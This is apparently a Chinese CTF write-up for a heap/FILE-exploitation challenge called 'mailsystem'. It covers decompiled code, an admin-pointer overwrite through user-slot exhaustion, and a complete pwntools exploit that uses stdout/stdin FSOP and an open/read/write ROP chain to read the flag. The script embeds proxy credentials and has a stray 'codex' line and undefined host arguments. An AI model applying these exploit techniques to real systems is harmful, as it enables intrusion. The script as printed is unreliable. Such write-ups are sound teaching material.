Featured image of post 软件系统安全赛 - mailsystem

软件系统安全赛 - mailsystem

通过结构体逆向后分析出用户槽位越权漏洞覆盖管理员指针,结合管理员函数负索引覆盖IO结构体FSOP orw

最后修改:
|
|
|

分析

初步分析

保护全开,并且剥离了符号,程序执行的是一个邮件文件系统
沙箱禁用了execve和execveat

  • 普通用户:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
unsigned __int64 __fastcall user_session(size_t *a1)
{
  int v2; // [rsp+10h] [rbp-10h] BYREF
  int v3; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  while ( 1 )
  {
    while ( 1 )
    {
      show_user_menu();
      v2 = 0;
      if ( (unsigned int)__isoc99_scanf("%d", &v2) == 1 )
        break;
      while ( getchar() != 10 )
        ;
      puts("Invalid input!");
      putchar(10);
    }
    if ( v2 == 4 )
      break;
    if ( v2 > 4 )
      goto LABEL_16;
    switch ( v2 )
    {
      case 3:
        v3 = send_draft(a1);
        if ( v3 == 1 )
          return v4 - __readfsqword(0x28u);
        break;
      case 1:
        write_draft((__int64)a1);
        break;
      case 2:
        read_mail_menu((__int64)a1);
        break;
      default:
LABEL_16:
        puts("Invalid choice!");
        putchar(10);
        break;
    }
  }
  puts("Logging out...");
  putchar(10);
  return v4 - __readfsqword(0x28u);
}

可以读写发送草稿和登出

  • 管理员用户
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
unsigned __int64 admin_session()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  while ( 1 )
  {
    while ( 1 )
    {
      puts("=== Admin Menu ===");
      puts("1. Change user info");
      puts("2. Delete user");
      puts("3. Mail to user");
      puts("4. Mail user to user");
      puts("5. Logout");
      printf("Your choice: ");
      v1 = 0;
      if ( (unsigned int)__isoc99_scanf("%d", &v1) == 1 )
        break;
      while ( getchar() != 10 )
        ;
      puts("Invalid input!");
      putchar(10);
    }
    switch ( v1 )
    {
      case 1:
        admin_change_user();
        break;
      case 2:
        admin_delete_user();
        break;
      case 3:
        admin_send_mail();
        break;
      case 4:
        admin_forward_mail();
        break;
      case 5:
        puts("Logging out as admin...");
        putchar('\n');
        return v2 - __readfsqword(0x28u);
      default:
        puts("Invalid choice!");
        putchar('\n');
        break;
    }
  }
}

可以改删用户,转发邮件和代发邮件

admin越权

追踪初始化函数中的qword_70c0,为admin的校验用字符的堆起始地址,使用的是随机数值,并设定了风控数组,根据时间来随机化,如果触发短时间快速修改便会直接被风控检测而直接将当前用户ban掉而illegal回到login界面,并置acitve为0以 恢复的user_t结构体大致如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
struct user_t 
{
    char inbox[256];          // 0x000 - 0x100
    uint64_t draft_size;      // 0x100 - 0x108
    uint64_t reserved_108;    // 0x108 - 0x110
    char draft[256];          // 0x110 - 0x210
    uint64_t inbox_size;      // 0x210 - 0x218
    char reserved_218[96];    // 0x218 - 0x278
    uint64_t uid;             // 0x278 (即 632) 
                              // alloc 中 *(ptr + 632) = j + 1
                              // ban 中 v4[79] = 0 (79 * 8 = 632)
    char reserved_280[24];    // 0x280 - 0x298
    char username[40];        // 0x298 (即 664)
    char password[40];        // 0x2C0 (即 704)
                              // ban 中 fread(v4 + 88...) 写入随机数 (88 * 8 = 704)
    char reserved_2e8[160];   // 0x2E8 - 0x388
    uint64_t activate;         
    char reserved_390[136];   // 0x390 - 0x410
};

风控函数如下,位于用户发送邮件的部分

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
__int64 __fastcall sub_1429(int a1)
{
  time_t v2; // [rsp+10h] [rbp-20h]
  time_t *v3; // [rsp+18h] [rbp-18h]
  _QWORD *v4; // [rsp+20h] [rbp-10h]
  FILE *stream; // [rsp+28h] [rbp-8h]

  v2 = time(0);
  v3 = &g_risk_stats[34 * a1 - 34];
  if ( v2 - *v3 > 10 || *((int *)v3 + 2) <= 4 )
  {
    if ( v2 - *v3 > 10 )
    {
      *((_DWORD *)v3 + 2) = 0;
      *v3 = v2;
    }
    return 0;
  }
  else
  {
    printf("\x1B[1;31;40m[SECURITY] Risk detected for user %d! Account banned.\x1B[0m\n", a1);
    if ( a1 > 0 && a1 <= 12 && g_users[a1 - 1] )
    {
      v4 = (_QWORD *)g_users[a1 - 1];
      v4[83] = 'lagelli';
      stream = fopen("/dev/urandom", "rb");
      if ( stream )
      {
        fread(v4 + 88, 1u, 0x10u, stream);
        fclose(stream);
      }
      v4[79] = 0;
      puts("Account has been banned!");
      puts("Returning to login menu...\n");
    }
    return 1;
  }
}

与用户本身还相关的有register,每一个用户会分配一定chunk空间进行更改

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
__int64 __fastcall alloc_user_slot(__int64 a1)
{
  int v2; // [rsp+14h] [rbp-Ch]
  int i; // [rsp+18h] [rbp-8h]
  int j; // [rsp+1Ch] [rbp-4h]

  v2 = 0;
  for ( i = 0; i <= 11; ++i )
  {
    if ( *(_QWORD *)(8LL * i + a1) && *(_QWORD *)(*(_QWORD *)(8LL * i + a1) + 632LL) )
      ++v2;
  }
  if ( v2 <= 7 )
  {
    for ( j = 0; ; ++j )
    {
      if ( j > 12 )
        return 0xFFFFFFFFLL;
      if ( !*(_QWORD *)(8LL * j + a1) || *(_QWORD *)(*(_QWORD *)(8LL * j + a1) + 904LL) != 1 )
        break;
    }
    *(_QWORD *)(8LL * j + a1) = malloc(0x410u);
    memset(*(void **)(8LL * j + a1), 0, 0x410u);
    if ( !*(_QWORD *)(8LL * j + a1) )
    {
      perror("malloc failed");
      exit(-1);
    }
    *(_QWORD *)(*(_QWORD *)(8LL * j + a1) + 632LL) = j + 1;
    *(_QWORD *)(*(_QWORD *)(8LL * j + a1) + 904LL) = 1;
    return (unsigned int)j;
  }
  else
  {
    puts("User full!");
    return 0xFFFFFFFFLL;
  }
}

最多8个活跃用户和12个注册用户,注意到注册用户的时候退出条件是>12,结合上面的风控检测函数,被封禁的用户会让活跃数-1但是仍然占据注册位置,如果我们ban掉前12个用户,最后一次注册便可以覆盖到admin用户上,而此时便会将admin的指针绑定到一块新的chunk上,此时账号密码都在0x410范围内,malloc归零

输入\x00即可绕过进行admin登录

任意写和payload

1181
forward_mail没有判定小于0,可以打IO结构体转发内容用于leak libc,并可以同理leak出environ拿栈上地址打stdin原语写进行FSOP orw,但是要注意到最后的交互速度不够快的话程序会在中间卡断而无法读取flag,很诡的是远程可能小版本有差异导致login_ret的实际偏移是0x1c0而不是本地的0x1b8,所以还要爆破一下远程的偏移

利用思路

  • 将用户槽位填满并进行同步的风控封禁用户,注册拿到admin权限
  • 在admin权限下恢复一个用户后将stderr内容转发到恢复用户上泄漏libc
  • stdout后leak environ拿栈上地址
  • 控制stdin重定位到admin ret,打FSOP orw
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
import argparse
import sys
import socks  
from time import sleep
import re
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument(
    "mode",
    type=int,
    choices=[0, 1, 2],
    nargs="?",
    default=0,
    help="0=local, 1=local+gdb, 2=remote",
)

parser.add_argument("--socks", type=str, default="2.dart.ccsssc.com:26768", help="SOCKS proxy")
parser.add_argument("--socksuser", type=str, default="czi1f8vx", help="SOCKS username")
parser.add_argument("--sockspass", type=str, default="2oubcjw5", help="SOCKS password")
parser.add_argument("--delta", type=lambda x: int(str(x), 0), default=0x1B8, help="login_ret offset delta") # delta用于远程leak stack调整参数爆破
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc.so.6"
LD = "./ld-linux-x86-64.so.2"
arch = "amd64"

context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
    context.terminal = ["tmux", "splitw", "-h"]

def VIO_TEXT(x, code=95):
    log.info(f"\x1b[{code}m{x}\x1b[0m")

def CLEAR_TEXT(x, code=32):
    log.success(f"\x1b[{code}m{x}\x1b[0m")

elf = ELF(filename, checksec=False)
libc = ELF(libc_name, checksec=False)

if args.mode == 0:
    io = process([LD, "--library-path", ".", filename])
    CLEAR_TEXT("[*] Running on local machine with custom libc")
elif args.mode == 1:
    io = process([LD, "--library-path", ".", filename])
    gdb.attach(io, gdbscript='''
        # put your scripts here
        c
    ''')
    CLEAR_TEXT("[*] Running local with GDB")
elif args.mode == 2:
    if args.socks:
        proxy_host, proxy_port = args.socks.split(":", 1)
        sock = socks.socksocket()
        sock.set_proxy(
            socks.SOCKS5,
            proxy_host,
            int(proxy_port),
            username=args.socksuser,
            password=args.sockspass,
        )
        sock.connect((args.host, args.port))
        io = remote.fromsocket(sock)
        CLEAR_TEXT(f"[*] Connected to remote {args.host}:{args.port} via SOCKS5 {args.socks}")
    else:
        io = remote(args.host, args.port)
        CLEAR_TEXT(f"[*] Connected to remote {args.host}:{args.port} directly")
else:
    sys.exit(1)


# user用户函数
def register(name, password):
    io.sendline(b"2")
    io.sendafter(b"Input your name: ", name + b"\n")
    io.sendafter(b"Input your password: ", password + b"\n")
    io.recvuntil(b"Your choice: ")

def login(name, password):
    io.sendline(b"1")
    io.sendafter(b"Input your name: ", name + b"\n")
    io.sendafter(b"Input your password: ", password + b"\n")
    return io.recvuntil(b"Your choice: ")

def write_draft(data):
    io.sendline(b"1")
    io.sendafter(b"(1-256): ", str(len(data)).encode() + b"\n")
    io.sendafter(b"bytes):\n", data)
    io.recvuntil(b"Your choice: ")

def send_mail(uid, overwrite=True):
    io.sendline(b"3")
    io.sendafter(b"1-12)", str(uid).encode() + b"\n")
    out = io.recvuntil((b"Overwrite? (y/n): ", b"Your choice: "))
    if b"Overwrite?" in out:
        io.sendline(b"y" if overwrite else b"n")
        out += io.recvuntil(b"Your choice: ")
    return out

def logout_user():
    io.sendline(b"4")
    io.recvuntil(b"Your choice: ")


# admin用户函数
def admin_change(uid, field, value):
    io.sendline(b"1")
    io.sendafter(b"Enter user ID to modify (1-12): ", str(uid).encode() + b"\n")
    io.recvuntil(b"Your choice: ")
    io.sendline(str(field).encode())
    prompt = b"Enter new username: " if field == 1 else b"Enter new password: "
    io.sendafter(prompt, value + b"\n")
    io.recvuntil(b"Your choice: ")

def admin_forward(src, dst, choose):
    io.sendline(b"4")
    io.sendafter(b"Enter source user ID (whose mail to forward): (1-12) ", str(src).encode() + b"\n")
    io.sendafter(b"Enter destination user ID (1-12): ", str(dst).encode() + b"\n")
    out = io.recvuntil((b"Your choice: ", b"Overwrite? (y/n): "))
    if b"Overwrite?" in out:
        io.sendline(b"y")
        out += io.recvuntil(b"Your choice: ")
    if b"Which mail would you like to forward?" in out:
        io.sendline(str(choose).encode())
        out += io.recv()
    return out

def logout_admin():
    io.sendline(b"5")
    io.recvuntil(b"Your choice: ")

def read_user_inbox(user, password):
    login(user, password)
    io.sendline(b"2")
    io.recvuntil(b"Your choice: ")
    io.sendline(b"2")
    out = io.recvuntil(b"Your choice: ")
    io.sendline(b"3")
    io.recvuntil(b"Your choice: ")
    logout_user()
    return out

def relogin_admin():
    login(b"\x00", b"\x00")
codex

# payload
def leak_libc():
    admin_change(1, 1, b"nan0in") #恢复一个用户用于使用
    admin_change(1, 2, b"nan0in")
    admin_forward(-3, 1, 1) #写出stdout
    logout_admin()
    out = read_user_inbox(b"nan0in", b"nan0in")
    relogin_admin()
    leak = out.split(b"Inbox (new mail):\n", 1)[1].split(b"\n\nWhat would", 1)[0]
    return u64(leak.ljust(8, b"\x00")) - libc.symbols["_IO_2_1_stdout_"] - 0x83

def leak_qword_via_stdout(addr):
    payload=flat(
        { 
        0x00:0xfbad1800,
        0x20:addr,
        0x28:addr + 8,
        0x30:addr + 8,
        },
        filler=b"\x00",length=0x60
    )

    logout_admin()
    login(b"nan0in", b"nan0in")
    write_draft(payload)
    logout_user()
    relogin_admin()

    io.sendline(b"4")
    io.sendafter(b"Enter source user ID (whose mail to forward): (1-12) ", b"1\n")
    io.sendafter(b"Enter destination user ID (1-12): ", b"-7\n")
    io.recvuntil(b"Your choice: ")
    io.sendline(b"1")

    leak = io.recvn(8)
    io.recv()
    return u64(leak)

def build_stdin_payload(libc_base, target, reserve):
    stdin_addr = libc_base + libc.symbols["_IO_2_1_stdin_"]
    payload=flat([
        0xFBAD208B,           # 0x00: _flags (Magic number)
        target,               # 0x08: _IO_read_ptr
        target,               # 0x10: _IO_read_end
        target,               # 0x18: _IO_read_base
        stdin_addr + 0x83,    # 0x20: _IO_write_base
        stdin_addr + 0x83,    # 0x28: _IO_write_ptr
        stdin_addr + 0x83,    # 0x30: _IO_write_end
        target,               # 0x38: _IO_buf_base (劫持写入的目标地址)
        target + reserve      # 0x40: _IO_buf_end  (允许写入的结束地址)
    ])
    return payload

def orw(chain_base, libc_base):
    pop_rdi = libc_base + 0x2a3e5
    pop_rsi = libc_base + 0x2be51
    pop_rdx_r12 = libc_base + 0x11f357
    pop_rax = libc_base + 0x45eb0
    syscall_ret = libc_base + 0x91316

    rop_len = 360 # 45*8
    flag1 = chain_base + rop_len
    flag2 = flag1 + len(b"flag\x00")
    buf = flag2 + len(b"/flag\x00") + 0x10

    payload=flat(
        pop_rax, 2, pop_rdi, flag1, pop_rsi, 0, pop_rdx_r12, 0, 0, syscall_ret,       # open,两个路径都开一下
        pop_rax, 2, pop_rdi, flag2, pop_rsi, 0, pop_rdx_r12, 0, 0, syscall_ret,       # open
        pop_rax, 0, pop_rdi, 3, pop_rsi, buf, pop_rdx_r12, 0x100, 0, syscall_ret,   # read
        pop_rax, 1, pop_rdi, 1, pop_rsi, buf, pop_rdx_r12, 0x100, 0, syscall_ret,   # write
        pop_rax, 60, pop_rdi, 0, syscall_ret,                                     # exit
        b"flag\x00/flag\x00".ljust(0x18, b"\x00"),
    )

    return payload

def blind_prep(stdin_payload):
    blob = b"5\n"
    blob += b"1\n" + b"nan0in\n" + b"nan0in\n"
    blob += b"1\n" + str(len(stdin_payload)).encode() + b"\n" + stdin_payload
    blob += b"4\n"
    blob += b"1\n" + b"\x00\n" + b"\x00\n"
    blob += b"4\n1\n-5\ny\n1\n"
    return blob


def solve():
    io.recvuntil(b"Your choice: ")

    # 拿admin
    for id in range(1, 13):
        name = f"u{id}".encode()
        password = f"p{id}".encode()
        register(name, password)
        login(name, password)
        
        for _ in range(10):
            write_draft(b"hijack to admin")
            out = send_mail(id, True)
            if b"Risk detected" in out:
                VIO_TEXT(f"-->Banned user {id}")
                break
        
        if b"Your choice: " not in out:
            io.recvuntil(b"Your choice: ")

    register(b"hijack", b"hijack")
    # pause()
    CLEAR_TEXT(f"Admin pointer successfully overwritten via user {id}")

    login(b"\x00", b"\x00") #注意admin的name和password偏移检测和user不一样,所以只能\x00登录
    CLEAR_TEXT("Logged in as admin successfully")

    libc_base = leak_libc()
    CLEAR_TEXT(f"Libc Base: {hex(libc_base)}")
    environ_ptr = leak_qword_via_stdout(libc_base + libc.symbols["environ"])     # Leak Stack
    CLEAR_TEXT(f"Environ Address: {hex(environ_ptr)}")
    pause()

    login_ret = environ_ptr - 0x1b8
    final_stage = orw(login_ret, libc_base)
    stdin_payload = build_stdin_payload(libc_base, login_ret - 2, max(0x800, len(final_stage) + 0x40))

    VIO_TEXT("Sending blind preparation & ORW trigger...")
    io.send(blind_prep(stdin_payload))
    sleep(0.2)
    io.recv()
    
    io.send(b"5\n" + final_stage + b"\n")
    data = io.recvall()

    if b"flag{" in data or b"dart{" in data:
        CLEAR_TEXT(f"FLAG: {re.search(b'(dart|flag)\\{.*?\\}', data).group(0).decode()}")


if __name__ == "__main__":
    solve()
    io.interactive()